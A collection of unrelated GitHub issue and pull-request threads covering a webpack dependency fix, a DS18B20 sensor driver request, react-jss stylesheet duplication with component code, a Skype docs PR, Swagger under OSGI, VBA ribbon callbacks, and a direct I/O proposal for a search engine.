   "test": "echo \"Error: no test specified\" && exit 1"
 },
 "keywords": [],
 "author": "",
 "license": "ISC",
 "devDependencies": {
   "css-loader": "^0.28.7",
   "file-loader": "file:node_modules/file-loader",
   "style-loader": "^0.18.2",
   "webpack": "^3.6.0"
 },
 "dependencies": {
   "lodash": "^4.17.4"
 },
 "description": ""

}

- "file-loader": "file:node_modules/file-loader",
+ "file-loader": "^0.11.0",

thanks, it works


DS18B20 support

I would like to see support for One wire DS18B20 Temperature Sensor

This is a popular sensor that unfortunately won't end up in UPM any time soon. One Wire is difficult to implement on a non-RTOS! It might become possible with a newer kernel though.

Update: We found a way that might allow us to control one wire devices on our Linux boards and a driver for this sensor is under development.

thats a great news! looking forward to the updated driver.

any updates?

I guess this pull request for mraa should open the door for UPM to support it, but not earlier than it's merged: https://github.com/intel-iot-devkit/mraa/pull/415

Unfortunately this won't make it into 0.5.0 but I will merge the implementation (#340) once MRAA adds the necessary functions.

Added to with e679d40d44bd5fb4c71f8567bfe9ceb7f45c75c7!


Request: would you please add Saw Gerrara crew?

Yes on the TODO list, will elevate it a bit. Note that since there's no "downside" to Saw in terms of the stuff the calculator tracks it will basically just always use it eagerly whenever available. Probably as expected, but will note in the FAQ in any case.


Style rendering and overriding

Not sure if this is a react-jss problem, or a me problem...
Rendering problem:
While rendering components in a loop the styleSheet gets injected multiple times resulting in the following in my head =>

also occurs when the same component is used in multiple places

Overriding problem:
When trying to override styles with styles passed in props i now have to this:
const className = getClassNames(classes, style, 'listItem', 'ListItem');
This doesn't seem very handy to me. After that i tried it with sheet.addRule():
sheet.addRule('listItem', style);
This pretty much ended up in the same mess.
Our source code can be found here https://github.com/anchorchat/anchor-ui/blob/master/src/components/list-item.jsx.
If you have any tips or tricks towards this issue i would be glad to here this

Style is normally reused across all instances of a component, not sure what you do there. I don't see how it is used, also would nice to see a small button which reproduces your problem.

Are you cloning or something?

App.jsx placing ListItems:
{channels.map(channel => (
              <ListItem
                key={`channel-list-${channel.name}`}
                primaryText={channel.name}
                secondaryText={`${channel.users.length}/${channel.maxUsers}`}
                active={currentChannel === channel.name}
                rightButton={
                  currentChannel === channel.name
                  ? <Button iconButton onClick={() => {}}>
                    <IconClose color={colors.white} />
                  </Button>
                  : null
                }
                avatar={dalek}
                badge={<Badge inverted={currentChannel === channel.name} value={10} maxValue={9} />}
              />
            ))}

listItem.jsx rendering and injecting sheet:
https://github.com/anchorchat/anchor-ui/blob/master/src/components/list-item.jsx

hopes this clarifies it

From what I can see such a problem should not happen.

Most probably I don't see the full picture.

Basic overview of the problem:
Component:
import React, { Component, PropTypes } from 'react';
import injectSheet from 'react-jss';
import classNames from 'classnames';
import buttonStyleSheet from '../style/buttons';
import getClassNames from '../internal/get-class-names';
import colors from '../style/colors';
import darken from '../internal/darken';

class Button extends Component {
  static propTypes = {
    children: PropTypes.node.isRequired,
    onClick: PropTypes.func.isRequired,
    sheet: PropTypes.shape({
      classes: PropTypes.shape({
        iconButton: PropTypes.string.isRequired,
        button: PropTypes.string.isRequired
      }).isRequired
    }).isRequired,
    style: PropTypes.instanceOf(Object),
    iconButton: PropTypes.bool,
    inverted: PropTypes.bool
  }

  static defaultProps = {
    style: {},
    iconButton: false,
    inverted: false
  }

  static contextTypes = {
    color: PropTypes.string
  }

  constructor(props, context) {
    super(props, context);

    const { sheet: { classes }, style } = props;
    const { color } = context;

    const themeStyle = {
      button: {
        backgroundColor: color,
        '&:hover': {
          backgroundColor: darken(color, 0.15)
        },
        '&:active': {
          backgroundColor: darken(color, 0.25)
        }
      },
      inverted: {
        color,
        backgroundColor: colors.white,
        '&:hover': {
          backgroundColor: darken(colors.white, 0.15)
        },
        '&:active': {
          backgroundColor: darken(colors.white, 0.25)
        }
      }
    };

    const className = getClassNames(classes, style, 'button', 'Button');
    const iconButtonClassName = getClassNames(classes, style, 'iconButton', 'Button');
    const themeClassName = getClassNames(classes, themeStyle.button, 'theme', 'Button');
    const invertedClassName = getClassNames(classes, themeStyle.inverted, 'theme', 'Button');

    this.state = {
      className,
      iconButtonClassName,
      themeClassName,
      invertedClassName
    };
  }

  render() {
    const { children, onClick, iconButton, inverted } = this.props;
    const { iconButtonClassName, className, themeClassName, invertedClassName } = this.state;

    return (
      <button
        onClick={onClick}
        className={
          classNames({
            [className]: !iconButton,
            [iconButtonClassName]: iconButton,
            [themeClassName]: !iconButton,
            [invertedClassName]: inverted
          })
        }
      >
        {children}
      </button>
    );
  }
}

export default injectSheet(buttonStyleSheet)(Button);

App:
import React from 'react';
import { Button, withTheme } from '../../dist';

const buttons = ['1', '2', '3', '4'];

export default withTheme(
  () => <section>{buttons.map(button => <Button key={button} onClick={() => {}}>{button}</Button>)}</section>,
  '#1ba6c4'
);

Result:

The issue we have is that jss.createStyleSheet does not check for styles already attached to the DOM. To illustrate this I've added the following to our internal createSheet function.
import { jss } from 'react-jss';

function createSheet(style, className, componentName) {
  const styleWithClassName = {};
  styleWithClassName[className] = style;

  const sheet = jss.createStyleSheet(styleWithClassName, { meta: componentName }).attach();

  if (document.querySelectorAll(`[data-meta="${componentName}"]`).length > 2) {
    sheet.detach();
  }

  return sheet;
}

export default createSheet;

Sheets are now detached if more than 2 exist for a component. The solution mentioned above is far from ideal, of course.

If you use jss directly its up to you to ensure not rendering a sheet more than needed. react-jss does this for you.
Also you may want to check out function values, they provider a lot of flexibility.


Update New-CsAutoAttendantCallableEntity.md

Removing deprecated parameters (OrganizationalAutoAttendant | HuntGroup)

@get-itips @dariomws @tseward @tiburd Minor update to remove deprecated parameters - THANKS!

Docs Build status updates of commit 2955139:
:white_check_mark: Validation status: passed

File
Status
Preview URL
Details

skype/skype-ps/skype/New-CsAutoAttendantCallableEntity.md
:white_check_mark:Succeeded
View (skype-ps)

For more details, please refer to the build report.
Note: Broken links written as relative paths are included in the above build report. For broken links written as absolute paths or external URLs, see the broken link report.
For any questions, please:Try searching the docs.microsoft.com contributor guidesPost your question in the Docs support channel

@dariomws
Hi!
Please @ mention me if it's ready to merge after your review.
Thanks!

@tiburd Please merge this PR. Thanks

Docs Build status updates of commit 72b93d9:
:white_check_mark: Validation status: passed

File
Status
Preview URL
Details

skype/skype-ps/skype/New-CsAutoAttendantCallableEntity.md
:white_check_mark:Succeeded
View (skype-ps)

For more details, please refer to the build report.
Note: Broken links written as relative paths are included in the above build report. For broken links written as absolute paths or external URLs, see the broken link report.
For any questions, please:Try searching the docs.microsoft.com contributor guidesPost your question in the Docs support channel


Attempting to integrate Swagger within Virgo OSGI container

I have moved swagger-springmvc version 0.53 to OSGI. I have a Web Archive Bundle (WAB)  running inside of an OSGI container called Virgo. I have gotten this version of swagger-springmvc to run within a non-OSGI war file successfully. Reading an older issue, I understand that you guys have not done much work with OSGI so I am not expecting a definitive answer here. I am just looking for hints at how I can troubleshoot this issue.
I have the swagger properties file pointing to a base url where the DispatchServlet is expected to be. OSGI requires the root web context path to be placed in the manifest of the jar file containing the spring mvc app. So this path is in the form of /api/something/endpoint.  The web.xml request mapping has the generic url pattern of /*.
So a request coming into the api takes on the forms of http://localhost:port/api/something/endpoint. This is defined in the swagger.properties file.
I get 404 when running  http://localhost:port/api/something/endpoint/api-docs. This tells me that the controller serving api-docs has not been created. I see no errors during startup and when executing http://localhost:port/api/something/endpoint/api-docs i see in the log or console lines indicating RequestMappingHandlerMapping is getting executed on my controller that includes my api(endpoint) so I see
Mapped "{[/..... onto ...
lines. I also see these lines in my non-osgi example as well. However what I don't see, which is another indication that the controller serving api-docs is not available, is lines resembling:
Mapped "{[/api-docs..... onto ...
which I do see in my working (non-OSGI) version.
So my suspicion is that the controller bean is not being created where it is expected. I also get a No mapping found for HTTP request with URI [/api/something/endpoint/api-docs] in DispatchServlet with name 'servler name'.
There seems to be a disconnect between my web.xml request mapping, swagger base url and my context root as defined in the jar's manifest.

Hi @jayhamilton do you have Springfox bundle uploaded anywhere? I really need it right now

@jayhamilton And also were you able to fix the problem finally? Because I want to use Springfox as a bundle in Felix container.


(Discussion) on Ribbon Call Back parameters

re: https://github.com/byronwall/bUTL/pull/51#issuecomment-209568652
All of the Ribbon_Callbacks have an argument like (control) - why? I'm sure they are needed, but I don't see what they are doing, pardon my ignorance.

That syntax is just the required format of the callback for the Ribbon event.  I am using the Ribbon Editor to generate those automatically (I copy and paste the callback Sub into the add-in to wire it up.)  Ultimately, the Excel VBA Ribbon folks have decided that when the button is clicked, it will call an event with those parameters.  I include the parameters to make it happy.
I have never actually used the control although I guess it is a real reference to a real thing.  Not sure what use would require that reference to exist though?

I'll close this in a day or so unless you had a follow up...

Excellent, maybe I'll review the ribbon editor's documentation. Thanks


Uploading initial database models

Description
Please include a summary of the changes and the related issue.
Add any screenshots if a change has been made on the client side.
Type of change

Upload of DB Models

Checklist:

[ ] My code follows the style guidelines of this project
[ ] I have performed a self-review of my own code
[ ] I have commented my code, particularly in hard-to-understand areas
[ ] I have made corresponding changes to the documentation
[ ] My changes generate no new warnings
@Rhonajoy @otsembo

@otsembo @Rhonajoy The changes are for the models and routes : Store and Products tables


Evaluate Direct I/O for better performance

Is your feature request related to a problem? Please describe.
The primary benefit of direct I/O is to reduce CPU utilization for file reads and writes by eliminating the copy from the cache to the user buffer. Many operations like peer recovery, segrep transferring large merged segments to replica for instance w/o direct I/O can cause other segments(since refreshes no longer leverage shard idle #7736 ), being queried heavily to be pushed out of the cache even if. The remote store interactions needs to be revisited to explore any opportunities for improvements
Describe the solution you'd like
A clear and concise description of what you want to happen.
Describe alternatives you've considered
A clear and concise description of any alternative solutions or features you've considered.
Additional context
Add any other context or screenshots about the feature request here.

Another approach here would be to use posiv_fadvice() with POSIX_FADV_DONTNEED (see manpage posix_fadvise(2))¹. However I bet Direct I/O could even be more efficient.